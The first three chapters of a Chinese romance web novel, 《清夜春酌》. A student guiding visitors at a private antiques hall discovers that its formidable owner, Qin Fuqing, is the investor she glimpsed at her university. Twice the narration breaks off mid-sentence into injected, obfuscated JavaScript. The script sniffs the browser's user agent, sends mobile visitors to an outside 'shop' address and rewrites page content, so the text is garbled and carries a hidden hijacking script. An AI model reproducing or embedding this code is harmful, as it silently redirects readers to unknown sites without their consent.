《清夜春酌》 1. 第一章 《清夜春酌》 文/筱卿眠 晋江文学城独家发表 六月份的京市,空气中淌过一丝燥热。 钟缊酌站在湖畔旁的一颗古树下,仰头感叹:“若若,咱们来晚了,这花都快落完了呀。” 流苏树又称“四月雪”,因花型像古代仕女的流苏而得名。盛开时树枝上挂满一朵朵白色伞形小花,漂亮得不像话。 是北方很少见的树种,在京大的鸣鹤园却屹立着两颗。 自从被人穿着汉服拍下一组写真发到网上火了之后,不少人慕名前来,也自然成了学生们的打卡圣地。 宋黎若的脸上却完全看不出欣赏不到美景的遗憾,嘴里还在不停地咒骂:“这杜家兄妹真是有病!一见到你准没个好话,狗眼看人低!” 听那语气,就跟早上被羞辱的那人是她似的。 “他杜家有什么可狂的?还不是靠投机取巧发的家,你父母至少都是正经生意人,他们算什么东西!” 钟缊酌听到这些义愤填膺的话,不得不收起看花的心情,无奈笑了声:“还在想这事儿啊,我早就忘了。” 宋黎若抱着双臂:“你心胸宽广,我可没那么好脾气!下次你等我一起下楼,就晚了那么一会儿,碰上那俩扫把星。” 最后一朵花瓣晃悠悠地飘落到女孩头上,钟缊酌抬手帮她摘下,温声劝:“大院里前前后后那么多楼,也不是经常能碰到,况且,我也怼回去了呀,不会吃亏的。” 其实,她哪里是心胸宽广,只是不想把这些糟心事成天挂在嘴上,更不想把好朋友当成情绪垃圾桶罢了。 钟缊酌拍了拍宋黎若的肩膀:“不说这个了,你跟我去交论文吧。今天是最后一天,交完再去吃饭。” 一上午在学校里晃荡了半天,总算想起还有正事要做。 宋黎若长叹一声,闷闷地撅起嘴:“那好吧。” 两人回宿舍拿好东西,一路边聊边往教学楼的方向走。 这门学科期末未安排考试,是以论文形式打分,钟缊酌紧赶慢赶,总算在昨晚熬夜写完。 教学楼下的草坪旁,有几人在聊天,宋黎若远远指着其中一位:“咦,那不就是你要找的樊老师嘛?” 她又追了一句,“看,还有张院长也在。” 钟缊酌顺着她手指的方向看去。 樊峰老师和信科学院的院长张仲年,此刻正面容和煦地在与一位陌生男人交谈。 男人背对着她们,穿一件修身黑衬衫,下摆整整齐齐塞进西裤里面,身姿挺拔端正。只是半倾着身子,恍有一股傲视万物之感。 钟缊酌发出感慨,“果然有院长在就是不一样,连咱们樊老师都变得慈祥了。” 宋黎若摸了摸下巴,好似在思索:“我看未必,他又不是第一次和院长照面。” 紧接着,她又一副恍然大悟的样子,“我知道了,因为对面那人是秦拂清!” 钟缊酌疑惑道:“秦拂清是谁?” 似乎是感受到附近投来了两只“好奇猫”的目光,樊峰偏头望了望。 同时,被盯住的两人立即侧过身去,钟缊酌怕被误会她们在偷听,指指怀中的几张纸,意思是要等着交论文。 樊峰微微点头,示意再稍等一会儿,便将注意力重新回到对面的人身上。 这次来合作的这位背景可不简单,千万不能怠慢人家。 宋黎若吐了口气,继续跟钟缊酌咬耳朵:“我听智科的学姐说了,最近来投资咱学院智能机器人项目的有一位大人物,不仅家世显赫,长得也是相当英俊,现在跟院长交谈那人应该就是他!” 钟缊酌一直听她讲完,琢磨了下,若有所思道:“大人物能有多大,会比你宋小姐还厉害?” 宋黎若打了下她手:“别瞎说,那真不是我能比的。” 她伸出食指往天上戳戳,“家里人在那里工作。” 在这个圈子里待了几年,钟缊酌多少有些政治敏感性,点头道:“我懂的。” 一道“吱呀”轮胎摩擦地面的刹车声,打断了两人的窃窃私语。黑色宾利车稳稳当当停在了男人身侧。 那边的谈话应该是结束了,一身西装,戴着白手套的司机下来打开后车门,秦拂清冲樊峰和张院长摆了摆手,随后躬身上了车。 车子行驶过时,钟缊酌被好奇心驱使,向里面望了望。 玻璃窗是单面的,她只能看到漆黑一片。 “同学,快过来吧。”樊峰在对面喊了声。 钟缊酌收回目光,露出浅笑:“嗯,好的老师。” - 六月底,大二的期末考试全部结束,也就意味着暑期生活正式开始。 钟缊酌两个月前找了份兼职,最初是她在校内论坛看到的招聘信息,后来经过几轮考试选拔和面试,终于拿到了offer。 一个兼职如此大费周章,若不是开出的薪资实在诱人,或许她早就放弃了。 工作地点在一家私人古玩馆,古玩馆平时不对外开放,她每周六会来一天,负责给客人讲解那些古董的资料和历史。 说起这点,还是因为钟缊酌的父亲一直很喜欢研究古董,她从小耳濡目染学会的本领。 其实钟缊酌的家境本是不错的,父母年轻时很努力,学历高加上时代红利顺利拿到第一桶金,她也曾经过过一段富裕人家的生活。 只是后来家里公司意外倒闭,拿所有资产填补窟窿后,就剩下了几十万现金和一套房子,如今父母带着存款去了深城重启家业,只留她一人在京。 这周六的天气阴得厉害,层层乌云压在城市上空,可就是不见落雨,空气里裹着闷潮。 钟缊酌走进那条熟悉的胡同。 没几步的路程,白净的脸蛋儿渗出一层薄汗。 她拿出纸巾擦了擦,附近没有垃圾桶,只能再塞回包里。 最后她站定在一扇棕褐色的榆木门前,敲了敲:“冯伯,是我。” 冯盛是这里的管家,也是负责给她面试的人,平时大都只有两人在。 “缊酌来啦。” 钟缊酌“嗯”一声,“今天有客人吗?” 冯盛抖了抖长袍的下摆,花白胡子里细纹漾开,“我这会儿还没收到通知,估摸着不会有了。” 钟缊酌表面不动声色,心里已经开始隐隐雀跃起来。 没有客人,意味着她又可以在这里复习一天的功课。 古玩馆环境清幽,客人来了之后由她带去展览室看古董,欣赏完古董后他们还会到隔壁的会客室聊天谈合作。 钟缊酌看得出来,来这里的大都不是简单的人物。 冯伯说馆里的古董不对外售卖,是老板自己的藏品,那些客人也都是老板的朋友或是同行爱好者,其中不乏在工作中认识的。 可钟缊酌来了这么多次,一次都没见到过传说中的老板。 她也试着向冯伯打听过老板的模样,问他是个什么样的人,每次冯伯都会糊弄过去,说你个小丫头别乱打听,这不是你该关心的事。 几次受到打击之后,钟缊酌心里这份好奇也就消散干净了。 桌上的老时钟发出“叮”地一声,又到了一个整点。钟缊酌抬头一看,下午四点了。 再待上两个小时,就可以回家,钟缊酌已经开始琢磨上今晚陶姨会给她做什么好吃的。 恰在此时,古玩馆那道厚重的榆木门响了一下,瞬间将她从幻想中剥离。 “冯伯,是你吗?”钟缊酌轻声问。 刚刚冯盛说是出门买烟,让她自己待会儿。钟缊酌估算下,已经过去了十五分钟,也该回来了。 门口没传来想象中的回应,钟缊酌有些不安。放下手中的笔站了起来。 同一时刻,一个陌生男人的脸庞映入眼帘。 他有一双深邃而锋锐的眼睛,明明气质是偏沉稳的,那目光里却透着令人心颤的冷峻。 仿佛雨后的青苔,沉润疏凉。又如冰川下的暗河,汩汩流动,让人一眼望不见底。 受名校环境影响,钟缊酌见过很多有气场的人,可这位给她的感觉很不一样。 他即便只是静静站在那里,也挟着一股不怒自威的气场。 钟缊酌下意识摆正身子,恭恭敬敬地说:“您好,您是预约来的客人吗?” 往常都是冯伯领客人进门,她负责招待,可现在冯伯不在,她也不知道客人究竟长什么样子。 然而下一秒,钟缊酌突然睁大了眼睛。 这个男人的面容陌生,身形却很熟悉。 就在一个月前,她和宋黎若在学校里见过这个人,当时他正在和张院长樊老师讲话。 他是秦拂清。 店里来了个了不得的人物,钟缊酌屏气凝神,恨不得调用起所有脑细胞严阵以待。 男人没回答她的问题,沉默着扫视一圈后,径直走到博古架前,拿起一只白色的杯子观赏起来。 钟缊酌站在他的身后,忐忑地在想要不要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271594|198123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 提醒一句,请不要这样拿在手里,老板会介意。以前来这儿观赏的客人,从未有人像他一样对待古董如此轻浮。 但一想到他那深不可测的背景,钟缊酌又犯了怂,话到嘴边还是没敢说出口。 她深深吸了一口气后,主动给他介绍起来:“这是高足杯,明朝时期的饮酒器,足底外撇呈喇叭状,上面刻有莲花,采用的是暗刻技法,釉色柔和细腻。” 男人没什么反应,也不知道听没听进去。 把玩了一会儿,秦拂清终于放下瓷杯。他噙着清沉温润的嗓音问她:“旁边这个呢?” “这是元朝的青花瓷,内底心绘菊花纹,内口沿有卷草纹,外壁主体纹饰为三爪龙。” 看他的样子似乎挺感兴趣,紧接着,钟缊酌又给他一一介绍起几件有名的古物。 男人很有耐心,在她介绍时从未插过嘴,也不会对她讲的内容产生质疑。 直到钟缊酌的目光停在了一件镂空香炉上,声音却戛然而止。 秦拂清无声地笑笑:“忘记了?” 钟缊酌有些尴尬地蜷起手指,大脑飞速运转,在想怎么不着痕迹地把这段意外揭过。 “抱歉,稍等我再查下资料,您还对哪件感兴趣,我可以先给您介绍别的。” 如果第一次是意外的话,那么第二次应该就算她倒霉了。 钟缊酌发誓,这间屋子里的古玩资料她基本都能倒背如流,只是总有那么几件容易忘记。 偏偏这个男人连续两次点中她记不清的。 钟缊酌的脸上迅速灼烧起来,祈求他能放过她。 按照正常人的思维,遇见别人尴尬的时候,大家都会主动跳过这个话题,多少也得给个台阶下。可这人就像故意挑刺似的,非要让她难堪。 他长长的手指摸着那鼎薰炉,淡声讲出来:“清代的薰炉,饕餮纹双兽,活环龙钮,三足盖。” 随着他声音落下,钟缊酌的胸腔跟着颤了颤。 所以他知道这些信息? 此刻钟缊酌突然有一种感觉,这个客人不像来欣赏古玩,倒像是来给她考试的。 内心陡然升起一股连她自己都没有意识到的火气,钟缊酌面无表情地说:“您还想了解哪件,我会尽力解答。” 秦拂清轻轻放下手中的薰炉,也就是在炉底触碰到柜沿的一刹那,门口传来了冯伯的声音:“哎呦,您今天怎么过来了,这都没提前备茶。我瞧见胡同里那车,还寻思着是不是老眼昏花看错了呢。” “无妨,我也是顺路过来看看。”秦拂清言简意赅道。 冯盛转头便看见钟缊酌那一脸呆滞的模样,一挥手,“丫头,别傻愣着了,这位便是咱们古玩馆的老板,秦先生。” 他是、老板? 钟缊酌的脑中一片轰鸣。 所以,方才发生的那些,并不是她在瞎琢磨,他是真的在考验她。 所有的疑惑全部得到答案,钟缊酌垂下头,已然羞愧得无地自容。往常清灵的音色此刻也变得混沌起来:“秦先生,您好。” 男人微微颔首,话却是朝着冯伯说的:“这就是你最近招来的那个大学生。” 冯盛笑着回应:“是的先生。”这一句之后,便没再说别的话。 在这样的人物下面做事,多说几句好话不如少说一句错话,你不知道他心里到底怎么想的。 钟缊酌对今天的初次会面已经不抱什么期望了,她八成没给老板留下什么好印象。 大概会觉得她学识不够,或者耐心不足,态度有失端正。 她默默站在原地,丧气地等着他的批评。 然而想象中批评的话并没有等来。 秦拂清只是瞥了眼桌上的笔记本,笑了笑,沉声吐出一句:“钟小姐,字写得不错。” 她的字体是标准的行楷,飘逸优雅,的确不少人夸赞过好看。 可言外之意,除了字不错,其它什么都没有。 说完这句之后,秦拂清便转身离开了屋子。 钟缊酌整个身子是僵住的,目送着冯伯客客气气将他送回了车上。 直到秦拂清带来的那道清冽气息彻底消散,麻木的神经才逐渐恢复。 屋内又飘起了那股淡淡的沉香味,窗边的绿植被带进来的风吹得枝叶乱颤,仿佛下一秒便要从那陈旧的瓷瓶里挣脱而出,墙上复古的油画在静寂的空气中显得更加栩栩如生。 这算是二十岁的钟缊酌第一次领略到,什么叫做杀人不露刀锋。 2. 第二章 这一场意外过后,冯伯不知又去了哪里。 钟缊酌独自安静待到六点,见天色暗沉,赶紧收拾好书包打车回了东四街大院。 路上风势渐起,刚下车,忽而一声惊雷,豆大的雨点泼墨般从天而降。 到底还是没躲过去。 钟缊酌顶着书包往院子里跑,到楼下时,身上已经湿了大半。 想到一会儿陶姨见了准会批评她出门怎么又忘记带伞,感冒了可怎么办? 钟缊酌最怕长辈在耳边嘟囔,她悄悄打开防盗门,做贼似地往里一钻,直奔卧室。 等换好衣服,擦干头发,钟缊酌冲着在厨房做饭的陶美珍喊一声:“陶姨,我回来啦!” 自从父母去了南方做生意,就剩下阿姨和她一起住在这大院里。 说起来,京市大院的房子都是在机关工作分配下来的,钟缊酌家里并未有人从政,只是恰好赶上近些年部分大院的房子对外销售,她父母想着附近学校好,便给她配置了一套。 后来家里落魄了,陶姨却没舍得离开,说这么多年对这个家有了感情,她一人在这个城市里也没个落脚之处。 钟家人和亲戚关系淡薄,破产之后,更是鲜有来往,想着女儿在京总得有个人照应,父母便答应她留了下来。 厨房里抽油烟机的声音停掉了,陶美珍端着一盘子京酱肉丝走出来,“什么时候回来的啊,外面下了雨,淋着没?” 钟缊酌搬好两人的椅子,顺势坐下,“没淋着,我刚到家就下起来了。” “那就好,赶紧吃饭吧,还有白灼虾和西红柿炒鸡蛋,都是你爱吃的。” “谢谢陶姨。” 饭桌上,陶美珍有一句没一句地聊起她父母在南方做生意的情况。 说他们这次投资的项目成功了,已经赚到了钱,一切都在变好,让她不要着急,安心读书,以后想去留学的话都会供她去。 钟缊酌没出声,不动声色地夹菜。 这些她当然都知道,母亲打电话来已经说过很多次了,他们每个月也会固定给她打钱。 还记得父母临走前,问她这些年有没有恨过他们。钟缊酌摇着头说,谋事在人,成事在天,富贵都是命。 她是没恨过,可心里连一点埋怨都没有过吗?钟缊酌不敢否认。 上初中时,母亲沉迷于炒股,一直到高二那年,一片形式大好的股市遭遇重创,赔进了一半的本金,同年,父亲公司的资金链也出现问题,面临倒闭。 钟缊酌安慰父母的同时还要扎进题海里奋战高考,那时她告诫自己,以前的幸福生活也是父母给的,她没有资格去埋怨。只是偶尔窝在角落里看着提高不上去的成绩时,也会默默地流泪。 吃完饭,钟缊酌去洗了个澡。 抹掉雨水带来的寒气,舒舒服服地躺到床上时,看到手机里蹦出两条信息。 RIO:【缊酌,你知道吗,敬舟说他后天就回来了。】 RIO:【好突然,我还以为他要在英国再待一阵呢。】 涂敬舟和宋黎若一样,是她搬来大院后认识的好朋友,两人都是从小住在这里,只有钟缊酌是高三那年父母卖掉别的房产后才搬过来。 后来宋黎若跟她一起考进了京大,而涂敬舟去英国念了伦敦大学,他比她们大一岁,今年刚毕业。 钟缊酌看着屏幕里的信息,掩饰不住喜悦,给她回:【真的啊,那太好了,我们去给他接风吧。】 RIO:【好呀,我也正有此意/嘻嘻/】 涂敬舟回京市那天,正好赶上外宾来访,部分街道戒严,车子从机场出来堵了两个小时才缓缓驶进东四大院。 司机刚拐个弯停到楼下,两人就风风火火地跑来:“敬舟,咱们一起去淮扬府吃午饭吧,我俩请客!” 涂敬舟看着那两个活蹦乱跳的小姑娘,一路的疲惫也卸去了,满面春风地笑:“怎么又直呼名字,说好了叫敬舟哥。” 宋黎若抗议道:“才不要!大一岁而已,叫什么什么哥的太肉麻了,我鸡皮疙瘩都起来了!” 钟缊酌也应和:“就是,差一岁相当于平辈。” 涂敬舟的教育再次失败,拿她们没辙:“行行,随你们高兴。不过,我可不想吃淮扬菜了,我就想念咱院儿里的食堂。” 他招呼道:“等收拾好行李,跟我去食堂开个包间。” 反正吃饭是次要,叙旧才是主题,两个姑娘没意见,拿起行李就要往楼上走。 司机见了赶紧按住说:“小姐们可别做这种活,交给我就好。” 涂敬舟一抬下巴:“你们安心在楼下等我几分钟,我跟刘师傅去一趟就下来。” 大院里的食堂虽说菜系和普通饭馆无异,可材料都是顶级食材,味道自然也是一绝。 三人坐在包间里,涂敬舟不客气地点了一桌子菜,最后被宋黎若提醒说浪费粮食可耻,才打了个响指,放下菜单:“就这些吧。” 距离上次见面也有半年了,可几人丝毫不觉得生份,扯起一个话题就开始畅聊。 无非是最近京里有什么变化,各家发生的趣事儿,涂敬舟说院儿门口的警卫又换了人,进来时都不认识他,竟然要求出具通行证。 聊着聊着,菜也陆陆续续地上了。钟缊酌忽然想起在古玩馆发生的事,便跟黎若提了一嘴:“若若,我前几天看见秦拂清了。” 宋黎若瞪大眼睛,也不顾菜还没咽完,叽里咕噜地问:“在哪儿看见的?快跟我说说,是不是贼帅?” “还...算挺帅的吧,就在我兼职的地方,原来他竟是那里的老板,我才知道。” 宋黎若兴奋地一抹嘴:“那你以后可有眼福了啊。” “嗐,他也不常去,而且——”钟缊酌脑子里浮现出那天的窘迫,“他那样的人物,还是少见为好。” 没等宋黎若问出原因,涂敬舟在一旁插嘴道:“你们说的秦拂清,是秦政庭的儿子吗?” 两人面面相觑,同时摇头:“我们不认识他家里人。” 宋黎若补充说:“只知道他单位最近资助了京大的智能机器人项目,你认识他?” 涂敬舟垂下眼,不知是不是钟缊酌的错觉,他的脸色突然黯淡了下来,“那八成就是了,他从京大毕业,给母校拉赞助很正常,没什么好称赞的。” 这下连宋黎若都听出了他语气里的不对味儿。 宋黎若小心翼翼道:“你真认识啊,以前怎么没听你提过。” 涂敬舟轻嗤一声:“算不上认识,我父亲在调岗之前和他父亲秦政庭在同一个组,秦政庭的名声可不怎么好,我劝你俩少接触这个人。” 气氛变得有些古怪,在钟缊酌印象里,涂敬舟向来温和有耐心,从没见过他这以这种口吻和她们讲话。 她不想一顿好好的饭被这样搅乱,主动扯开了话题:“敬舟,说说你在伦敦上学的感觉怎么样呀?那里的天气还适应么。” 涂敬舟偏过头,盛了一碗汤,顿了顿说:“还成,英国佬都擅长虚与委蛇,至少表面是友好的,剩下还有一部分teenager,本地人都讨厌他们,少搭理就好了。” “天气就是总阴晴不定,时不时地来上一段雨,我开始还备伞,后来都懒得打了。” 涂敬舟像是忽然想到什么,问她:“对了,我记得你不是也提过想去英国留学,有计划了吗?” 钟缊酌咽下一块红烧肉,“嗯,是有这个打算,但具体还没想好。” “你若是想读伦敦大学可以随时咨询我,我免费给你当中介。” 宋黎若见气氛缓和了,也打起岔来:“这你就不懂了吧,缊酌对伦敦大学不感兴趣,她更想去帝国理工。” 钟缊酌读的是计算机专业,的确更适合念帝国理工,可那样的话就意味着需要更昂贵的学费。 她从大一就开始做兼职,虽然攒了一些钱,但用作留学还远远不够。 钟缊酌不自觉叹口气:“八字没一撇的事呢,我还是先把本科念好吧,至少等雅思考到七分以上再说。” 说是这么说,可雅思考到七分,哪儿有那么容易。 钟缊酌老早就开始复习英语了,这段时间把成绩从六分拉到了六点五,却怎么都上不去。不得不说,作为一个理科生,英语的确不是她的强项。 钟缊酌有时还挺庆幸自己能找到这个兼职的,赚钱多,也不需要经常去,可以腾出时间来学习。 也因此在上次与老板会面之后,她心里一直有些担忧,怕老板会开掉她。 又过了一周,午休过后,钟缊酌接到了冯伯的电话。说周末有个古董展缺讲解员,问她接不接这个活儿。 “秦先生也会去吗?” 冯伯说:“对,先生也去。” 钟缊酌几乎没犹豫,应下来:“没问题,您把时间地点和展会资料发给我。” 她答应得如此痛快,想必是很缺钱。 冯盛琢磨着,这小姑娘长得明眸皓齿的,气质也佳,看着像富裕人家养出来的,不知为何会缺钱。 他没再深想,笑着说:“行,我一会儿都发给你,那些古董资料提前记下,尽量别出错。” 钟缊酌应诺几声后,撂下电话,又跑去柜子里找衣服,把一件好久没穿的白衬衫黑色西裤翻了出来。 这次一定要给秦先生留下一个好印象。 她心里这样想着。 古董展是在西城区,展厅没有想象中那么大,来的人倒是不少。 作为讲解员的素养,钟缊酌今天特意画了淡妆,整个人更显得风姿绰约,亭亭玉立。 她戴着耳麦,大大方方地站在玻璃柜前,为客人们讲述那一段段传奇的历史。 只是过去了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271595|198123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一上午,钟缊酌都没有见到秦拂清的身影。 中午休息时,大家都去吃饭了,钟缊酌坐在公共区的软椅上揉着发酸的脚踝,她不习惯穿带跟的鞋,脚底已经起了泡。 “缊酌,怎么不去吃饭呐?” 钟缊酌抬头,来人正是冯伯,她勉强挤出一个笑:“我不饿,晚些再吃。” “下午活动要到五点,一定要吃饭才有力气干活呢。” “好,我知道啦。” 钟缊酌拿起手机准备点份外卖,冯盛突然“诶”一声,“瞧瞧我这记性,差点儿忘了,秦先生叫你中午找他一趟,你一会儿记得过去。” 钟缊酌吃惊道:“他已经来了?” “是啊,早就来了,一直在后.庭。” 吃过午饭,钟缊酌根据冯伯指的位置从展厅出来,穿过一条林荫小道,才明白他说的后.庭是什么意思。 原来在这个展会后面的空地上,还有一处古色古香的庭院。 大理石铺成的地板上刻着中式地雕,凉亭旁矗立着一座假山,下面是一汪水池,而秦拂清正站在池塘边悠闲地喂着锦鲤。 他依然是那副威风凛凛的作派。 白衬衫袖口挽起,露出结实有力的小臂。一手插在西裤里,另一只手随意地一抛。 明明很普通的动作,在他身上却透着一股说不出的潇洒。 不知是否因想起上次相会的窘迫场面,还是他给人的压迫感太强。 钟缊酌刚刚面对一群人都能泰然自若,此刻面对一个人却突然紧张起来。 “秦......先生,您找我。” 听到那一声轻柔的嗓音,秦拂清微微侧头,招手示意她走近些。 他将最后一块鱼食扔下,拿毛巾擦了擦手:“今天感觉怎么样?” 钟缊酌立即挺直腰板,端正态度汇报:“挺好的,没遇到回答不上来的问题,也没有忘词的时候。” 这话说得很直白,明显是针对上次没做好的工作,想弥补一下他对自己的印象。 事实上,秦拂清只是问感觉怎么样,她可以说见到了哪些新奇的古董,对展会布置的看法,甚至是站了半天觉得挺累。 和人说话拐弯抹角多了,这样赤裸裸的对白还真有些不习惯。 看着她绷紧的身子,秦拂清突然笑了声:“这么紧张,是怕我会开了你吗?” 钟缊酌的心脏立即紧缩起来。 想着和这样的人物周旋,她那点儿小聪明必死无葬身之地,不如干脆些:“秦先生,我知道上次自己做得不好,但我保证,以后绝对不会再出现这样的错误。” 秦拂清双手扶着石栏,低头看那游走在清澈水底的锦鲤,神色不明:“我没那么不近人情,是人都会犯错,尤其年轻人。” 这话听起来老气横秋的,就好像他们的辈分相差很大。 可他分明看上去没那么年老,五官有着二十多岁的俊朗,只是气质成熟些。 但不管怎样,钟缊酌心里那颗悬着的石头总算落下。 秦拂清问她:“我看你简历上写的是计算机专业,你对古董的知识都是临时记的?” 钟缊酌顿了顿,如实相告:“也不全是,我父亲一直很喜欢古董,我也算从小耳濡目染吧。” 秦拂清微微点头,接着又问了几个无关痛痒的问题。 谈话间,庭院的拱形门外走进来一位西装革履的中年男人。 他朝着秦拂清打了声招呼:“秦总,抱歉来晚了啊。” 这人钟缊酌也认识,是曾经去过古玩馆的黄寅安黄老板。 见他有客人,钟缊酌也不好再多待。 正准备和秦拂清告别,黄寅安却几步走上前,主动向她问了好:“这不是钟小姐嘛?好久不见。” 钟缊酌欠了欠身子:“黄老板好。” 眼前站着个美人,黄寅安很不安分地在她身上来回打量了几圈。 钟缊酌皱起眉,心里有些不舒服。但在这种场合下,她也不好说什么。 秦拂清做了个“请”的手势,两人便落座在池塘边的檀木椅上。 紧接着,守在门口处的秘书立即向侍者吩咐上茶。 黄寅安却突然抬手打断道:“我记得钟小姐会泡茶,今日不知有没有机会赏脸,再为黄某泡上一壶。” 说起来这种要求并不算过分,可因为刚刚他那略有冒犯的举动,让钟缊酌心里憋着一口气,迟疑不前。 黄寅安扬眉笑了声:“怎么,钟小姐连这点面子都不肯给?” 他这种身份的人撂下这句话,说明事态已经很严重了。 钟缊酌不想在秦先生这里把事情闹得很难看,眼睫微垂,不动声色道:“好,我这就去。” “等一下。” 就在她转身的瞬间,秦拂清那温润清沉的嗓音从背后传了过来。 3. 第三章 听到这句话,钟缊酌脚下未再动,站在原地喊了声:“秦先生。” 秦拂清目光凛凛地直视着黄寅安,话却是对着她说的:“今天你就是来做讲解员,出了古玩馆,你也不是谁的下属。” 言外之意,在古玩馆之外的地方,她不需要做端茶倒水这样的工作,也不需要听哪个老板的命令。 空气有片刻的沉静。 钟缊酌屏住呼吸,在两个男人身上来回逡巡。 黄寅安显然没料到他会为这个小姑娘解围,愣怔几秒后,短促地笑了声:“我就开个玩笑,瞧你认真的劲儿,集团里做报告都没这么严肃。” 正午的阳光直直照射在秦拂清的腕表上,白茫茫一片,他抬起胳膊看了眼,“时间不早了,我们长话短说,下午还要回组里一趟。” 看出他赶人的态度,钟缊酌抓住机会:“秦先生,那我也先去准备后面的讲解工作了。” 秦拂清轻轻点了下头,“去吧。” 这场谈话似乎因那个小小的意外,比想象中持续的时间更短。 黄寅安兴致缺缺地应和了几下子,便随便找个借口离开了,连面前的茶水都没喝上一口。 秘书将人送走,再回到秦拂清身边时,看到他正在拨弄一颗长势颇盛的海桐。 绿色的叶子中央簇拥着一团白色花卉,本是整整齐齐,却被他弄得散开了些。 季昌不敢言语,在一旁守了很久,直到秦拂清主动开口:“老季,你怎么看这事儿。” 季昌从秦拂清调来集团后就跟着他了,这几年,脾气也摸了个大致,可这位先生的性子有时候实在让人难以琢磨。 就比如刚刚那一幕,看似是在为钟小姐解围,但根据他的揣测,实际应该是在警告那黄老板别越界,这里的事情应是他说了算。 所以眼下最重要的,不是上演一场英雄救美,而是把这两个烫手的山芋撇干净。 季昌咳了声,缓声道:“秦总,就算黄老板做什么跟您没关系,只怕万一哪天在咱们古玩馆里出了事,传出去也有损您的名声。” 季昌没直接点透,可话里的寓意男人已经听得很明白。 他微不可察地挑了下眉,“你的意思是,辞掉钟小姐?” 季昌稍稍倾身,“正是。” 一直在拨弄绿植的秦拂清忽然间停了手。 沉默片刻后,蓦地从喉间溢出一声嗤笑:“老季,在你心里我就是这么冷血的一人啊。” 季昌吓得赶紧收回了话:“您就当我胡说八道,我这不是脑袋愚笨,想不出更好的点子嘛。” 他咧了咧嘴,薄薄的衬衫里,后背竟然渗出了一层汗。 秦拂清“嗯”了下,没在意他的反应,“现在符合条件的人也不好找,学历要顶级,气质要佳,还要懂古玩知识,当初你们在考古专业扒拉一圈也没合适的,不是么。” 季昌忙不迭点头,“您说的在理。” 秦拂清淡笑一声,有条不紊地吩咐开来:“其实这事儿也简单,你就跟冯伯知会一声,让那姓黄的,以后不准去古玩馆了。” “他若有什么异议,让直接找我来。” “欸,没问题,我这就去办。” 季昌痛快道。 - 几天后,钟缊酌被涂敬舟邀请到家里去拿一些英文资料。得知她在准备雅思,涂敬舟毅然决定将自己在学校里重要的书籍和资料都打包送给她。 钟缊酌拉着宋黎若一起下了楼。 宋黎若昨天刚从马尔代玩完回来,整个人黑了一圈,涂多少防晒都没用。 她恹恹地诉苦:“我发誓这是我最后一次夏季去海边了。” 钟缊酌毫不留情地揭穿:“可你每次都这么说。” “那是因为马代多少年之后就要消失了呀。我可不想在海水淹没它时,却只能抱着网图大喊,哦真后悔没有早点去呢!” 钟缊酌被她夸张的演绎逗笑了:“行啦,反正你没几天就能白回来了,又是暑假期间,也没人能看到。” 宋黎若甩了甩头发,让两侧的碎发挡住一些脸颊:“说起这个,下周二吴少维在西四胡同攒了个局,你去不去。” 钟缊酌来大院住的这三年,除了宋黎若跟涂敬舟,几乎没结交什么朋友。路上遇见眼熟的,也会客气地跟人家打个招呼,但从没近一步接触过。 她一直很清楚,大院里的原住民,基本都是混政圈的,在京市这个地界,再富裕也比不上权贵人士。而像她这样毫无根基,靠做生意发家又落魄之人,自然融不进他们的圈子,与其烦恼如何交际,倒不如自得其乐,自己过好自己的日子更快活些。 钟缊酌默了默,摇头说:“算了吧,我就不凑这热闹了。” “哎,怪不得吴少维说你高冷,邀请你几次都不去,我都没法替你圆话了。” “是吗,他说我高冷?”钟缊酌感到挺意外,眼看已经到涂敬舟家楼下了,她语速加快了些,“就因为我不去参加他们的聚会?” “还说有几次遇见你,打招呼也不怎么热情。” 钟缊酌正反思着自己会不会和人说话不做表情就显得太冷淡了,不然下次还是露出点微笑比较好,涂敬舟已经打开了门。 他看见宋黎若那一张黑黝黝的脸:“怎么了这是?去山西挖煤啦?” 对面一拳打在他胸口,“你才去做焊工了呢,眼睛都被熏坏了吧,我有那么黑吗?” 涂敬舟边揉骨头边笑:“主要是你以前太白了,对比明显嘛。” 说完领着两人来到书房,“这些都是我整理出来的,缊酌你看看。” 钟缊酌看着地上摆的好几箱书,傻了眼,“这么多啊。” “我也觉得有点多,你再挑挑吧,挑完让刘师傅开车给你送过去。” “那也行。” 钟缊酌蹲下开始挑书,剩下两人就坐在旁边聊起天。 聊了一会儿之后,宋黎若又说起聚会那事:“老吴应该也邀请你了吧,你去不?” 涂敬舟心不在焉道:“嗯,跟我说过,但我不怎么想去。” “为什么?你刚回国,趁此机会正好跟大家叙叙旧呀,他们都挺想你的。” 宋黎若有些急了,她本想如果涂敬舟去的话,她就能有借口再劝劝缊酌也一块去。 涂敬舟给她解释:“因为傅沅宗也去,他跟秦拂清关系太近了,我不想见他。” “傅沅宗竟然跟他认识?我都不知道。” “何止认识,还是发小呢。” “啊?” “你俩不知道吧,秦拂清在咱大院里也有房子,只是从来没住过。” 宋黎若惊讶之余小声嘟囔一句:“你对他还真了解啊。” 想想也是,秦拂清父亲那个级别,估计是这院儿里分房子最早的一批了。 此刻宋黎若以及在地上专心挑书的钟缊酌,两人都冥冥中意识到了一件事——敬舟哥和秦拂清之间,或许还有别的瓜葛,绝对不像他表面说的那么简单。 但宋黎若已经顾不得那么多了,她可不想到时候别人热热闹闹聊天,只有她自己孤身一人。 